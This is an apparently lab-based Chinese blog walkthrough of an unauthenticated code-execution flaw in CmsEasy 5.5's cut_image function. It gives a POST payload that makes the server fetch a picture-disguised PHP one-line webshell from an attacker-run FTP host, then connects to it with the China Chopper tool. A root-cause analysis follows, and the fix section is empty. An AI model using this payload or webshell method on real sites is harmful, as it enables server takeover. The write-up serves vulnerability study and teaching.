CmsEasy 5.5 cut_image 代码执行漏洞

3 CmsEasy 5.5 cut_image 代码执行漏洞

3.1 摘要

3.1.1 漏洞介绍

  • CmsEasy是一款基于PHP+MySQL架构的网站内容管理系统,可面向大中型站点提供重量级网站建设解决方案:拥有强大的内容发布模板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。可自定义网页标题、关键词、描述、URL路径等多种优化项,可自动推送内容至百度搜索引擎。全国首家内置推广联盟模块的企业网站系统,为企业在营销推广方面,提供了非常便捷的方法和功能。为广大用户提供更为安全、稳定、强大的微信公众好管理系统。拥有强大的内容发布木板自定义功能,可以通过模板自定义功能扩展出产品、新闻、招聘、下载等多种不同的内容发布及字段显示功能。
  • CmsEasy5.5版本’cut_image_action’函数存在代码执行漏洞,远程攻击者可在未登录的情况下向服务器上传任意文件,执行任意代码,获取服务器权限。

3.1.2 漏洞环境

  • 操作机:Windows XP
  • 目标机:CentOS 6.5

3.1.3 实验工具

  • CmsEasy5.5
  • FTPserver.exe:一个小型的Ftp server软件
  • 中国菜刀:一款专业的网站管理软件,只要支持动态脚本的网站,都可以用中国菜刀来进行管理。主要功能有:文件管理,虚拟终端,数据库管理。

3.2 漏洞复现

  • 将构造好的图片木马复制c:\ftp目录下,用Notepad打开,查看图片内容,可以看到标识处,含有一句话代码菜刀连接密码为c。
  • 将该图片文件名修改为phpinfo.php,接下来利用该图片木马进行漏洞利用。
  • 打开实验工具下载的FTP Server工具,请将该实验工具访问目录修改为c:\ftp,点击启动服务即可。
  • 使用火狐浏览器打开目标界面http://www.test.ichunqiu 按F9调出hackbar工具,我们构造漏洞利用代码,访问URL为http://www.test.ichunqiu/index.php?case=tool&act=cut_image点击Enable Post data打开POST窗口,注入以下测试内容, pic=1ftp://172.16.11.2/phpinfo.php&w=700&h=1120&x1=0&x2=700&y1=0&y2=1120
  • 点击Execute提交,即可返回上传文件地址。
  • 将上图返回的地址,复制到地址栏,(将/路径替换为/)访问。可以看到该文件访问成功,下面尝试使用中国菜刀连接该一句话木马。复制该地址。
  • 运行中国菜刀chopper.exe程序。 在程序窗口内,右键将地址粘贴,地址后面密码填写为c 脚本类型选择为PHP,点击添加即可。
  • 点击添加后可以看到该目录,增加一条记录,我们双击该条目,即可进入webshell目录管理界面
  • 该漏洞利用成功

3.3 漏洞分析

  • 该漏洞是因为CmsEasy5.5/lib/default/tool_act.php 392行的cut_image_action()函数出现问题。代码如下图所示

  • 分析以上代码,可以发现保存文件名的生成,直接用了$_POST['pic'] 接受未经过任何安全防护的输入作为扩展名,应该就是这里导致Getshell。

  • 这里需要可以绕过PHP图像处理的一句话木马,和本地搭建Ftp服务以绕过file_exits()函数, PHP5.0以上即可支持file_exists()。代码如下所示,如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取base_url,返回文件相对路径。所以构造的时候,如果站点不是放在根目录,则需要补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)

  • 构造的测试代码为:

post /index.php?case=tool&act=cut_image
pic=1ftp://localhost/test.php&w=700&h=1120$x1=0&x2=700%y1=0y2=1120
其中localhost=172.16.11.2,test.php=phpinfo.php

3.4 修复方案

posted @ 2017-06-15 22:45  20145312袁心  阅读(2848)  评论(0编辑  收藏  举报